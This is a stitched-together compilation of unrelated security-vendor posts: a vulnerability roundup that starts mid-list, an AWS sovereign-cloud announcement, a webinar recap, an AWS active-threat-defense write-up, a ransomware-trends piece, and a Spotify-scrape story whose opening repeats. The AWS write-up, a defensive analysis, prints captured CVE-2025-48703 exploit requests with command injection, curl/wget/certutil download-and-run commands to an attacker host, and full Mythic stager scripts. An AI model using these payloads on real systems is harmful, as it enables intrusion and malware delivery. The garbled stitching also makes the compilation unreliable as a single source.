  • China-linked clusters UNC6600, UNC6586, UNC6588, UNC6603, and UNC6595
  • North Korea-linked and financially motivated groups
• Observed payloads included EtherRAT, PeerBlight, CowTunnel, ZinFoq, Kaiji variants, Zndoor, RondoDox, MINOCAT, SNOWLIGHT, COMPOOD, HISONIC, ANGRYREBEL.LINUX, and Weaxor ransomware (using a Cobalt Strike stager)
• Infrastructure connections to HiddenOrbit relay infrastructure and GobRAT relay component

Additional activity:

• UAT-9686 exploited Cisco Secure Email Gateway (CVE-2025-20393), deploying AquaShell, AquaPurge, and AquaTunnel
• Unknown actors leveraged Gogs vulnerability (CVE-2025-8110) for Supershell malware deployment

Priority Alert: Active Exploitation

These vulnerabilities demand immediate attention due to confirmed widespread exploitation.

CVE-2025-55182 | Meta React Server Components (React2Shell)

Risk Score: 99 (Very Critical) | CISA KEV: Added December 5, 2025

Why this matters: Unauthenticated RCE affects React and Next.js, among the world's most popular web frameworks. Multiple threat actors are actively exploiting vulnerable instances with diverse malware payloads.

Affected versions:

• React packages: react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack (19.0.0, 19.1.0, 19.1.1, and 19.2.0)
• Next.js: 15.x, 16.x, and Canary builds from 14.3.0-canary.77
• Also affects: React Router, Waku, RedwoodSDK, Parcel, Vite RSC plugin

Immediate actions:

• Upgrade React to 19.0.3, 19.1.4, or 19.2.3 immediately
• Update Next.js to 16.0.7, 15.5.7, 15.4.8, 15.3.6, 15.2.6, 15.1.9, or 15.0.5
• Monitor for unusual multipart/form-data POST requests consistent with Next.js Server Actions / RSC endpoints
• Check logs for E{"digest" error patterns indicating exploitation attempts
• Review server processes for unexpected Node.js child processes

Exposure: ~310,500 Next.js instances on Shodan (US, India, Germany, Japan, Australia)

Figure 1: Vulnerability Intelligence Card® for CVE-2025-55182 (React2Shell) in Recorded Future (Source: Recorded Future)

CVE-2025-20393 | Cisco Secure Email Gateway

Risk Score: 99 (Very Critical) | Active exploitation by UAT-9686

Why this matters: Chinese threat actors are actively compromising email security infrastructure to establish persistent access and pivot into internal networks.

Affected products: Cisco Secure Email Gateway and Secure Email and Web Manager running AsyncOS

Immediate actions:

• Apply Cisco's security updates immediately
• Monitor Spam Quarantine web interface access logs
• Check for modifications to /data/web/euq_webui/htdocs/index.py
• Hunt for AquaShell, AquaPurge, and AquaTunnel indicators
• Review outbound connections to suspicious IPs

Known C2 infrastructure: 172.233.67.176, 172.237.29.147, 38.54.56.95 (inactive)

For the third year in a row, Amazon Web Services (AWS) is named as a Leader in the Information Services Group (ISG) Provider LensTM Quadrant report for Sovereign Cloud Infrastructure Services (EU), published on January 9, 2026. ISG is a leading global technology research, analyst, and advisory firm that serves as a trusted business partner to more than 900 clients. This ISG report evaluates 19 providers of sovereign cloud infrastructure services in the multi-public-cloud environment and examines how they address the key challenges that enterprise clients face in the European Union (EU). ISG defines Leaders as providers who represent innovative strength and competitive stability.

ISG rated AWS ahead of other leading cloud providers on both the competitive strength and portfolio attractiveness axes, with the highest score on portfolio attractiveness. Competitive strength was assessed on multiple factors, including degree of awareness, core competencies, and go-to-market strategy. Portfolio attractiveness was assessed on multiple factors, including scope of portfolio, portfolio quality, strategy and vision, and local characteristics.

According to ISG, “AWS’s infrastructure provides robust resilience and availability, supported by a sovereign-by-design architecture that ensures data residency and regional independence.”

Read the report to:

• Discover why AWS was named as a Leader with the highest score on portfolio attractiveness by ISG.
• Gain further understanding on how the AWS Cloud is sovereign-by-design and how it continues to offer more control and more choice without compromising on the full power of AWS.
• Learn how AWS is delivering on its Digital Sovereignty Pledge and is investing in an ambitious roadmap of capabilities for data residency, granular access restriction, encryption, and resilience.

AWS’s recognition as a Leader in this report for the third consecutive year underscores our commitment to helping European customers and partners meet their digital sovereignty and resilience requirements. We are building on the strong foundation of security and resilience that has underpinned AWS services, including our long-standing commitment to customer control over data residency, our design principal of strong regional isolation, our deep European engineering roots, and our more than a decade of experience operating multiple independent clouds for the most critical and restricted workloads.

Download the full 2025 ISG Provider Lens Quadrant report for Sovereign Cloud Infrastructure Services (EU).

If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.
 

Key Takeaways

• Intelligence drives better decisions. High-performing teams use threat intelligence not just for detection, but to inform strategic business decisions and communicate risk to leadership.
• Maturity means efficiency. Advanced programs focus on automation, high-fidelity indicators, and cross-functional collaboration—freeing analysts to concentrate on strategic initiatives.
• Information overload is the top challenge. Teams need better integrations and AI-powered tools to transform massive data volumes into actionable insights.
• AI will reshape the analyst role. While junior analysts won't be replaced, their workflows will evolve significantly as AI augments their capabilities.

Recorded Future recently hosted two webinars to unpack key insights from the 2025 State of Threat Intelligence Report and hear directly from customers who are putting these findings into practice.

Based on survey responses from 615 cybersecurity executives and practitioners, the report showed clear industry trends. Threat intelligence spending is up, with 76% of organizations spending over $250,000 annually and 91% planning to increase spending in 2026. Even more critically, 87% said they expect to advance the maturity of their threat intelligence programs over the next two years.

But what does maturity actually look like in practice? Our customers offered candid perspectives on how they're turning intelligence into impact.

Intelligence as a strategic asset

Our webinar panelists noted that the availability of rich threat intelligence has transformed how their organizations approach decision-making. According to Jack Watson, Senior Threat Intelligence Analyst at Global Payments, “Understanding that one alert opened and one alert closed does not necessarily equate to one single adversary being stopped” has led his team to take “a much more holistic approach to looking at problems.”

Omkar Nimbalkar, Senior Manager of Cyber Threat Research and Intelligence at Adobe, said, “Once you start doing this work day in and day out, you uncover patterns in your environment. You uncover what your posture looks like, where your true risk resides, and you can use that as a means to inform the business on the changing threat landscape for better decision-making.”

Ryan Boyero, Recorded Future’s Senior Customer Success Manager, said context and storytelling are key benefits of threat intelligence. “You can have a precursor or malicious activity that has occurred,” he said, “but without threat intelligence, you can’t really tell the story or paint the picture to deliver to senior leadership in order to help make the best and informed decisions possible.”

How threat intelligence delivers organization-wide value

Nimbalkar said his team provides tailored threat intelligence to business units and product teams across Adobe so they can monitor for specific behavioral activities and block specific threats in their environments.

Boyero shared that Recorded Future customers in EMEA use threat intelligence to educate leadership. “We're able to inform leaders,” he said. “We're able to speak with executives, get them in the room, not so much scare them that a situation could happen or has happened, but ultimately just educate and let them know that this is what Recorded Future is able to do and how we can bring success to the table.”

Erich Harbowy, Security Intelligence Engineer at Superhuman, said that in addition to educating leaders about risk, his team also uses threat intelligence to show the value of their work. “Not only am I using this very current news, I am also using the statistics that come along with that,” he said. “How much damage occurred during the first attack that was similar to this? And are [my adversaries] done? Are they coming back?”

Harbowy appreciates Recorded Future for providing those insights for postmortems and follow-ups with executives. “How do I prove my worth?” he said. “Give me the intel.”

The anatomy of a mature threat intelligence program

According to Nimbalkar, maturity comes when the foundational tactical and operational work is complete. He said that advancing a threat intelligence program is all about efficiency and optimization, including making sure you have high-fidelity indicators so your noise-to-signal ratio is reduced and you have higher-quality detections, understanding who your adversaries are and how they’re targeting you, getting in front of stakeholders and engaging with cross-functional teams, and collecting metrics on everything you do.

“Once you have figured out all these workflows, automated as much as you can, optimized and made it efficient, and then you focus more on risk reduction across the environment and more on strategic initiatives, that’s a very good maturation,” he said.

Jack Watson of Global Payments described threat intelligence maturity as the ability to ingest and action intelligence. “It’s never been easier to ingest data, but it’s also never been harder to sift through [that data]. So we’re seeing more mature organizations developing automated workflows, developing custom capabilities to do collection and action, and using AI in unique ways.”

Pathways to advancing maturity

Nick Rainho, Senior Intelligence Consultant at Recorded Future, said that the key to advancing maturity is having solid intelligence requirements. “Especially if you’re working with limited resources, go for the low-hanging fruit and ensure that the intelligence you’re pulling in is relevant to senior leadership’s priorities.”

Ryan Boyero agreed that maturity success is predicated on understanding leadership’s key requirements. “And then, how are we able to work towards that greater good and define success together?”

Top challenges for CTI teams

The panelists agreed that information overload is a critical challenge for today’s CTI teams. “More data is better than less,” said Watson, “but you have to be able to whittle it down or it’s useless.”

Nimbalkar said that with new tools in the market, advancements in AI, and the exponential growth in the volume of data, teams need vendors that can provide better integration to make data more actionable. And Rainho agreed, calling for better out-of-the-box integrations between intelligence tools so security teams can consume intelligence in the location and manner that works best for them.

Looking to the future of threat intelligence

When asked how they think the threat landscape will evolve and how technology will evolve with it, the panelists shared a number of predictions. They believe AI will enable CTI teams to fight AI-powered threats at scale. Third-party risk management will become an even more critical discipline for proactive defense. Digital threats will continue to outpace physical threats. And while junior analysts won’t be replaced by AI, their jobs will look very different as they use AI to augment their workflows.

Watch the recordings of the North America and EMEA webinar sessions to learn more, and download the 2025 State of Threat Intelligence Report to see how your peers are evaluating, investing in, and operationalizing threat intelligence.

Cyber threats are evolving faster than traditional security defense can respond; workloads with potential security issues are discovered by threat actors within 90 seconds, with exploitation attempts beginning within 3 minutes. Threat actors are quickly evolving their attack methodologies, resulting in new malware variants, exploit techniques, and evasion tactics. They also rotate their infrastructure—IP addresses, domains, and URLs. Effectively defending your workloads requires quickly translating threat data into protective measures and can be challenging when operating at internet scale. This post describes how AWS active threat defense for AWS Network Firewall can help to detect and block these potential threats to protect your cloud workloads.

Active threat defense detects and blocks network threats by drawing on real-time intelligence gathered through MadPot, the network of honeypot sensors used by Amazon to actively monitor attack patterns. Active threat defense rules treat speed as a foundational tenet, not an aspiration. When threat actors create a new domain to host malware or set up fresh command-and-control servers, MadPot sees them in action. Within 30 minutes of receiving new intelligence from MadPot, active threat defense automatically translates that intelligence into threat detection through Amazon GuardDuty and active protection through AWS Network Firewall.

Speed alone isn’t enough without applying the right threat indicators to the right mitigation controls. Active threat defense disrupts attacks at every stage: it blocks reconnaissance scans, prevents malware downloads, and severs command-and-control communications between compromised systems and their operators. This creates a multi-layered defense approach that can disrupt attacks that can bypass some of the layers.

How active threat defense works

MadPot honeypots mimic cloud servers, databases, and web applications—complete with the misconfigurations and security gaps that threat actors actively hunt for. When threat actors take the bait and launch their attacks, MadPot captures the complete attack lifecycle against these honeypots, mapping the threat actor infrastructure, capturing emerging attack techniques, and identifying novel threat patterns. Based on observations in MadPot, we also identify infrastructure with similar fingerprints through wider scans of the internet.

Figure 1: Overview of active threat defense integration

Figure 1 shows how this works. When threat actors deliver malware payloads to MadPot honeypots, AWS executes the malicious code in isolated environments, extracting indicators of compromise from the malware’s behavior—the domains it contacts, the files it drops, the protocols it abuses. This threat intelligence feeds active threat defense’s automated protection: Active threat defense validates indicators, converts them to firewall rules, tests for performance impact, and deploys them globally to Network Firewall—all within 30 minutes. And because threats evolve, active threat defense monitors changes in threat actor infrastructure, automatically updating protection rules as threat actors rotate domains, shift IP addresses, or modify their tactics. Active threat defense adapts automatically as threats evolve.

Figure 2: Swiss cheese model

Active threat defense uses the Swiss cheese model of defense (shown in Figure 2)—a principle recognizing that no single security control is perfect, but multiple imperfect layers create robust protection when stacked together. Each defensive layer has gaps. Threat actors can bypass DNS filtering with direct IP connections, encrypted traffic defeats HTTP inspection, domain fronting or IP-only connections evade TLS SNI analysis. Active threat defense applies threat indicators across multiple inspection points. If threat actors bypass one layer, other layers can still detect and block them. When MadPot identifies a malicious domain, Network Firewall doesn’t only block the domain, it also creates rules that deny DNS queries, block HTTP host headers, prevent TLS connections using SNI, and drop direct connections to the resolved IP addresses. Similar to Swiss cheese slices stacked together, the holes rarely align—and active threat defense reduces the likelihood of threat actors finding a complete path to their target.

Disrupting the attack kill chain with active threat defense

Let’s look at how active threat defense disrupts threat actors across the entire attack lifecycle with this Swiss cheese approach. Figure 3 illustrates an example attack methodology—described in the following sections—that threat actors use to compromise targets and establish persistent control for malicious activities. Modern attacks require network communications at every stage—and that’s precisely where active threat defense creates multiple layers of defense. This attack flow demonstrates the importance of network-layer security controls that can intercept and block malicious communications at each stage, preventing successful compromise even when initial vulnerabilities exist.

Figure 3: An example flow of an attack scenario using an OAST technique

Step 0: Infrastructure preparation

Before launching attacks, threat actors provision their operational infrastructure. For example, this includes setting up an out-of-band application security testing (OAST) callback endpoint—a reconnaissance technique that threat actors use to verify successful exploitation through separate communication channels. They also provision malware distribution servers hosting the payloads that will infect victims, and command-and-control (C2) servers to manage compromised systems. MadPot honeypots detect this infrastructure when threat actors use it against decoy systems, feeding those indicators into active threat detection protection rules.

Step 1: Target identification

Threat actors compile lists of potential victims through automated internet scanning or by purchasing target lists from underground markets. They’re looking for workloads running vulnerable software, exposed services, or common misconfigurations. MadPot honeypot system experiences more than 750 million such interactions with potential threat actors every day. New MadPot sensors are discovered within 90 seconds; this visibility reveals patterns that would otherwise go unnoticed. Active threat detection doesn’t stop reconnaissance but uses MadPot’s visibility to disrupt later stages.

Step 2: Vulnerability confirmation

The threat actor attempts to verify a vulnerability in the target workload, embedding an OAST callback mechanism within the exploit payload. This might take the form of a malicious URL like http://malicious-callback[.]com/verify?target=victim injected into web forms, HTTP headers, API parameters, or other input fields. Some threat actors use OAST domain names that are also used by legitimate security scanners, while others use more custom domains to evade detection. The following table list 20 example vulnerabilities that threat actors tried to exploit against MadPot using OAST links over the past 90 days.

Step 3: OAST callback

When vulnerable workloads process these malicious payloads, they attempt to initiate callback connections to the threat actor’s OAST monitoring servers. These callback signals would normally provide the threat actor with confirmation of successful exploitation, along with intelligence about the compromised workload, vulnerability type, and potential attack progression pathways. Active threat detection breaks the attack chain at this point. MadPot identifies the malicious domain or IP address and adds it to the active threat detection deny list. When the vulnerable target attempts to execute the network call to the threat actor’s OAST endpoint, Network Firewall with active threat detection enabled blocks the outbound connection. The exploit might succeed, but without confirmation, the threat actor can’t identify which targets to pursue—stalling the attack.

Step 4: Malware delivery preparation

After the threat actor identifies a vulnerable target, they exploit the vulnerability to deliver malware that will establish persistent access. The following table lists 20 vulnerabilities that threat actors tried to exploit against MadPot to deliver malware over the past 90 days:

Step 5: Malware download

The compromised target attempts to download the malware payload from the threat actor’s distribution server, but active threat defense intervenes again. The malware hosting infrastructure—whether it’s a domain, URL, or IP address—has been identified by MadPot and blocked by Network Firewall. If malware is delivered through TLS endpoints, active threat defense has rules that inspect the Server Name Indication (SNI) during the TLS handshake to identify and block malicious domains without decrypting traffic. For malware not delivered through TLS endpoints or customers who have enabled the Network Firewall TLS inspection feature, active threat defense rules inspect full URLs and HTTP headers, applying content-based rules before re-encrypting and forwarding legitimate traffic. Without successful malware delivery and execution, the threat actor cannot establish control.

Step 6: Command and control connection

If malware had somehow been delivered, it would attempt to phone home by connecting to the threat actor’s C2 server to receive instructions. At this point, another active threat defense layer activates. In Network Firewall, active threat defense implements mechanisms across multiple protocol layers to identify and block C2 communications before they facilitate sustained malicious operations. At the DNS layer, Network Firewall blocks resolution requests for known-malicious C2 domains, preventing malware from discovering where to connect. At the TCP layer, Network Firewall blocks direct connections to C2 IP addresses and ports. At the TLS layer—as described in Step 5—Network Firewall uses SNI inspection and fingerprinting techniques—or full decryption when enabled—to identify encrypted C2 traffic. Network Firewall blocks the outbound connection to the known-malicious C2 infrastructure, severing the threat actor’s ability to control the infected workload. Even if malware is present on the compromised workload, it’s effectively neutralized by being isolated and unable to communicate with its operator. Similarly, threat detection findings are created in Amazon GuardDuty for attempts to connect to the C2, so you can initiate incident response workflows. The following table lists examples of C2 frameworks that MadPot and our internet-wide scans have observed over the past 90 days:

Step 7: Attack objectives blocked

Without C2 connectivity, the threat actor cannot steal data or exfiltrate credentials. The layered approach used by active threat defense means threat actors must succeed at every step, while you only need to block one stage to stop the activity. This defense-in-depth approach reduces risk even if some defense layers have vulnerabilities. You can track active threat defense actions in the Network Firewall alert log.

Real attack scenario – Stopping a CVE-2025-48703 exploitation campaign

In October 2025, AWS MadPot honeypots began detecting an attack campaign targeting Control Web Panel (CWP)—a server management platform used by hosting providers and system administrators. The threat actor was attempting to exploit CVE-2025-48703, a remote code execution vulnerability in CWP, to deploy the Mythic C2 framework. While Mythic is an open source command and control platform originally designed for legitimate red team operations, threat actors also adopt it for malicious campaigns. The exploit attempts originated from IP address 61.244.94[.]126, which exhibited characteristics consistent with a VPN exit node.

To confirm vulnerable targets, the threat actor attempted to execute operating system commands by exploiting the CWP file manager vulnerability. MadPot honeypots received exploitation attempts like the following example using the whoami command:

POST /nginx/index.php?module=filemanager&acc=changePerm HTTP/1.1
host: xx.xxx.xxx.xxx:49153
content-type: multipart/form-data; boundary=----WebKitFormBoundaryrTrcHpS9ovyhBLtb
content-length: 455

------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="fileName"

.bashrc
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="currentPath"

/home/nginx
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="recursive"

------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="t_total"

whoami /priv
------WebKitFormBoundaryrTrcHpS9ovyhBLtb--

While this specific campaign didn’t use OAST callbacks for vulnerability confirmation, MadPot observes similar CVE-2025-48703 exploitation attempts using OAST callbacks like the following example:

POST /debian/index.php?module=filemanager&acc=changePerm HTTP/1.1
host: xx.xxx.xxx.xxx:8085
user-agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
content-length: 503
content-type: multipart/form-data; boundary=z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5
accept-encoding: gzip
connection: close

--z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5
Content-Disposition: form-data; name="fileName"

.bashrc
--z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5
Content-Disposition: form-data; name="currentPath"

/home/debian
--z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5
Content-Disposition: form-data; name="recursive"

--z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5
Content-Disposition: form-data; name="t_total"

ping d4c81ab7l0phir01tus0888p1xozqw1bs.oast[.]fun
--z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5--

After the vulnerable systems were identified, the attack moved immediately to payload delivery. MadPot captured infection attempts targeting both Linux and Windows workloads. For Linux targets, the threat actor used curl and wget to download the malware:

POST /cwp/index.php?module=filemanager&acc=changePerm HTTP/1.1
host: xx.xxx.xxx.xxx:5704
content-type: multipart/form-data; boundary=----WebKitFormBoundaryrTrcHpS9ovyhBLtb
content-length: 539

------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="fileName"

.bashrc
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="currentPath"

/home/cwp
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="recursive"

------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="t_total"

(curl -fsSL -m180 hxxp://vc2.b1ack[.]cat:28571/slt||wget -T180 -q hxxp://vc2.b1ack[.]cat:28571/slt)|sh
------WebKitFormBoundaryrTrcHpS9ovyhBLtb--

For Windows systems, the threat actor used Microsoft’s certutil.exe utility to download the malware:

POST /panel/index.php?module=filemanager&acc=changePerm HTTP/1.1
host: xx.xxx.xxx.xxx:49153
content-type: multipart/form-data; boundary=----WebKitFormBoundaryrTrcHpS9ovyhBLtb
content-length: 557

------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="fileName"

.bashrc
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="currentPath"

/home/panel
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="recursive"

------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="t_total"

certutil.exe -urlcache -split -f hxxp://vc2.b1ack[.]cat:28571/swt C:\Users\Public\run.bat && C:\Users\Public\run.bat
------WebKitFormBoundaryrTrcHpS9ovyhBLtb--

Layer 1 — MadPot identified the staging URLs and underlying IP addresses hosting the malware:

Layer 2 – MadPot’s analysis of the malware revealed that the Windows batch file (SHA256: 6ec153a1...) contained logic to detect system architecture and download the appropriate Mythic agent:

@echo off
setlocal enabledelayedexpansion

set u64="hxxp://196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=w64&stage=true"
set u32="hxxp://196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=w32&stage=true"
set v="C:\Users\Public\350b0949tcp.exe"
del %v%
for /f "tokens=*" %%A in ('wmic os get osarchitecture ^| findstr 64') do (
    set "ARCH=64"
)
if "%ARCH%"=="64" (
    certutil.exe -urlcache -split -f %u64% %v%
) else (
    certutil.exe -urlcache -split -f %u32% %v%
)

start "" %v%
exit /b 0

The Linux script (SHA256: bdf17b30...) supported x86_64, i386, i686, aarch64, and armv7l architectures:

export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin

l64="196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=l64&stage=true"
l32="196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=l32&stage=true"
a64="196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=a64&stage=true"
a32="196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=a32&stage=true"

v="43b6f642tcp"
rm -rf $v

ARCH=$(uname -m)
if [ ${ARCH}x = "x86_64x" ]; then
    (curl -fsSL -m180 $l64 -o $v||wget -T180 -q $l64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l64'", "'$v'")')
elif [ ${ARCH}x = "i386x" ]; then
    (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")')
# [additional architecture checks]
fi

chmod +x $v
(nohup $(pwd)/$v > /dev/null 2>&1 &) || (nohup ./$v > /dev/null 2>&1 &)

Layer 3 – By analyzing these staging scripts and referenced infrastructure, MadPot identified additional threat indicators revealing Mythic C2 framework endpoints:

Within 30 minutes of MadPot’s analysis, Network Firewall instances globally deployed protection rules targeting every layer of this attack infrastructure. Vulnerable CWP installations remained protected against this campaign because when the exploit tried to execute curl -fsSL -m180 hxxp://vc2.b1ack[.]cat:28571/slt or certutil.exe -urlcache -split -f hxxp://vc2.b1ack[.]cat:28571/swt Network Firewall would have blocked both resolution of vc2.b1ack[.]cat domain and connections to 196.251.116[.]232:28571 for as long as the infrastructure was active. The vulnerable application might have executed the exploit payload, but Network Firewall blocked the malware download at the network layer.

Even if the staging scripts somehow reached a target through alternate means, they would fail when attempting to download Mythic agent binaries. The architecture-specific URLs would have been blocked. If a Mythic agent binary was somehow delivered and executed through a completely different infection vector, it still could not establish command-and-control. When the malware attempted to connect to the Mythic framework’s health endpoint on port 7443 or the HTTP listener on port 80, Network Firewall would have terminated those connections at the network perimeter.

This scenario shows how the active threat defense intelligence pipeline disrupts different stages of threat activities. This is the Swiss cheese model in practice: even when one defensive layer (for example OAST blocking) isn’t applicable, subsequent layers (downloading hosted malware, network behavior from malware, identifying botnet infrastructure) provide overlapping protection. MadPot analysis of the attack reveals additional threat indicators at each layer that would protect customers at different stages of the attack chain.

For GuardDuty customers with unpatched CWP installations, this meant they would have received threat detection findings for communication attempts with threat indicators tracked in active threat detection. For Network Firewall customers using active threat detection, unpatched CWP workloads would have automatically been protected against this campaign even before this CVE was added to the CISA Known Exploitable Vulnerability list on November 4.

Conclusion

AWS active threat defense for Network Firewall uses MadPot intelligence and multi-layered protection to disrupt attacker kill chains and reduce the operational burden for security teams. With automated rule deployment, active threat defense creates multi-layered defenses within 30 minutes of new threats being detected by MadPot. Amazon GuardDuty customers automatically receive threat detection findings when workloads attempt to communicate with malicious infrastructure identified by active threat defense, while AWS Network Firewall customers can actively block these threats using the active threat defense managed rule group. To get started, see Improve your security posture using Amazon threat intelligence on AWS Network Firewall.

 
If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.
 

Key Takeaways

• Declining payments, evolving tactics: Ransomware groups made less money in 2025 despite a 47% increase in publicly reported attacks, pushing them to adopt new approaches to extract payment, namely, DDoS-as-a-Service offerings, insider recruitment, and gig worker exploitation.
• Insider threats are rising: With stolen credentials, vulnerability exploitation, and phishing still dominating initial access, ransomware operators are increasingly turning to native English speakers to recruit corporate insiders—a trend likely to accelerate if layoffs continue into 2026.
• Global expansion underway: Recorded Future predicts 2026 will mark the first year that new ransomware actors operating outside Russia outnumber those within it, reflecting the rapid globalization of the ransomware ecosystem.

The ransomware paradox: More attacks, less money

By most accounts, ransomware groups made less money in 2025 than in 2024, both in overall payments and average payment size. This occurred despite a significant increase in attack volume: according to Recorded Future Intelligence, publicly reported attacks rose to 7,200 in 2025 compared to 4,900 in 2024, demonstrating a 47% increase.

For context, Recorded Future classifies both encryption attacks and data theft attacks with an extortion component under the ransomware umbrella. While exact numbers are difficult to isolate, approximately 50% of all attacks we track fall into the data theft and extortion category.

This declining profitability is driving ransomware groups to expand and evolve their tactics. Here are three trends organizations should prepare for heading into 2026.

Trend 1: DDoS services return to the RaaS model

With affiliates earning less and many ransomware operators abandoning the Ransomware-as-a-Service (RaaS) model to operate independently, remaining RaaS operations must offer more value to attract and retain affiliates. One increasingly common differentiator: bundled DDoS services.

The newly formed Chaos ransomware group (distinct from the older group of the same name) exemplifies this trend, providing DDoS capabilities to all affiliates. While this tactic isn't new—for example, REvil previously offered similar services—it fell out of favor for a period. Now, with fewer ransom payments to share, RaaS operators are reintroducing premium services to maintain their affiliate networks.

• What this means for defenders: Organizations should ensure their DDoS mitigation strategies account for attacks that may accompany ransomware incidents. The pressure tactics are becoming multi-pronged.

Trend 2: Insider recruitment attempts are accelerating

Stolen credentials, vulnerability exploitation, and phishing remain by far the most common initial access vectors for ransomware groups, with social engineering as a distant but growing fourth method. However, there has been a notable increase in ransomware groups working with native English speakers to recruit corporate insiders.

The most public example came earlier this year when a ransomware group attempted to recruit a reporter at the BBC. But this represents only the visible tip of a larger trend. Private reporting indicates that insider recruitment attempts increased significantly throughout 2025 and will likely continue growing, especially if workforce reductions at major companies persist into 2026.

• What this means for defenders: Insider threat programs should be evaluated and strengthened. Employee awareness training should address the possibility of external recruitment attempts, and organizations should monitor for anomalous access patterns that could indicate insider-facilitated attacks.

Trend 3: Gig workers as unwitting attack vectors

According to a recent FBI advisory, ransomware groups have begun exploiting gig work platforms to carry out attacks when remote methods fail. In one documented case, an attacker successfully executed a social engineering help desk scam but couldn't install their tools remotely due to security controls. Their solution: recruiting a gig worker through a legitimate platform to physically enter corporate offices and steal data.

The gig worker was unaware they were working for hackers, believing they were performing a legitimate IT task. The targeted employee thought they were assisting someone from the help desk. While this attack vector remains rare, the accessibility and global reach of gig work platforms means other groups could replicate this approach with minimal effort.

• What this means for defenders: Physical security protocols should account for social engineering scenarios involving legitimate-looking third parties. Verification procedures for on-site IT work deserve renewed scrutiny.

Looking ahead: One big prediction for 2026

The ransomware ecosystem has seen tremendous growth among actors and groups operating outside of Russia.

Recorded Future believes that 2026 will be the first year the number of new ransomware actors outside Russia exceeds those emerging within it. This doesn't indicate a decline in Russian-based operations; instead, it reflects how dramatically the global ransomware ecosystem has expanded.

The bottom line: Strengthen your ransomware defenses

Understanding emerging ransomware tactics is the first step toward defending against them. To stay ahead of threat actors and protect your organization:

• Explore Recorded Future's Ransomware Mitigation Solution for end-to-end visibility into your ransomware exposure across the attack lifecycle.
• Read our latest Insikt Group® research on ransomware trends, threat actor TTPs, and emerging attack vectors.
• Download the Proactive Ransomware Mitigation eBook for actionable strategies to identify, investigate, and prioritize cyber threats.

Hacktivist group Anna’s Archive claims to have scraped almost all of Spotify’s catalog and is now seeding it via BitTorrent, effectively turning a streaming platform into a roughly 300 TB pirate “preservation archive.”

On its blog, the group states:

“A while ago, we discovered a way to scrape Spotify at scale. We saw a role for us here to build a music archive primarily aimed at preservation.”

Spotify insists that the hacktivists obtained no user data. Still, the incident highlights how large‑scale scraping, digital rights management (DRM) circumvention, and weak abuse controls can turn major content platforms into high‑value targets.

Anna’s Archive claims it obtained metadata for around 256 million tracks and audio files for roughly 86 million songs, totaling close to 300 TB. Reportedly, this represents about 99.9% of Spotify’s catalog and roughly 99.6% of all streams.

Spotify says it has “identified and disabled the nefarious user accounts that engaged in unlawful scraping” and implemented new safeguards.

From a security perspective, this incident is a textbook example of how scraping can escalate beyond “just metadata” into industrial‑scale content theft. By combining public APIs, token abuse, rate‑limit evasion, and DRM bypass techniques, attackers can extract protected content at scale. If you can create or compromise enough accounts and make them appear legitimate, you can chip away at content protections over time.

The “Spotify scrape” will likely be framed as a copyright story. But from a security angle, it serves as a reminder: if a platform exposes content or metadata at scale, someone will eventually automate access to it, weaponize it, and redistribute it.

And hiding behind violations of terms and conditions—which have never stopped criminals—is not effective security control.

How does this affect you?

There is currently no indication that passwords, payment details, or private playlists were exposed. This incident is purely about content and metadata, not user databases. That said, scammers may still claim otherwise. Be cautious of messages alleging your account data was compromised and asking for your login details.

Some general Spotify security tips, to be on the safe side:

• If you have reused your Spotify password elsewhere or shared your credentials, consider changing your password for peace of mind.
• Regularly review active sessions on streaming services and revoke anything you do not recognize. Spotify does not offer per-device session management, but you can sign out of all devices via Account > Settings and privacy on the Spotify website.
• Avoid unofficial downloaders, converters, or “Spotify mods” that ask for your login or broad OAuth permissions. These tools often rely on the same kind of scraping infrastructure—or worse, function as credential-stealing malware.

We don’t just report on threats – we help protect your social media

Cybersecurity risks should never spread beyond a headline. Protect your social media accounts by using Malwarebytes Identity Theft Protection.

Hacktivist group Anna’s Archive claims to have scraped almost all of Spotify’s catalog and is now seeding it via BitTorrent, effectively turning a streaming platform into a roughly 300 TB pirate “preservation archive.”

On its blog, the group states:

“A while ago, we discovered a way to scrape Spotify at scale. We saw a role for us here to build a music archive primarily aimed at preservation.”

Spotify insists that the hacktivists obtained no user data. Still, the incident highlights how large‑scale scraping, digital rights management (DRM) circumvention, and weak abuse controls can turn major content platforms into high‑value targets.

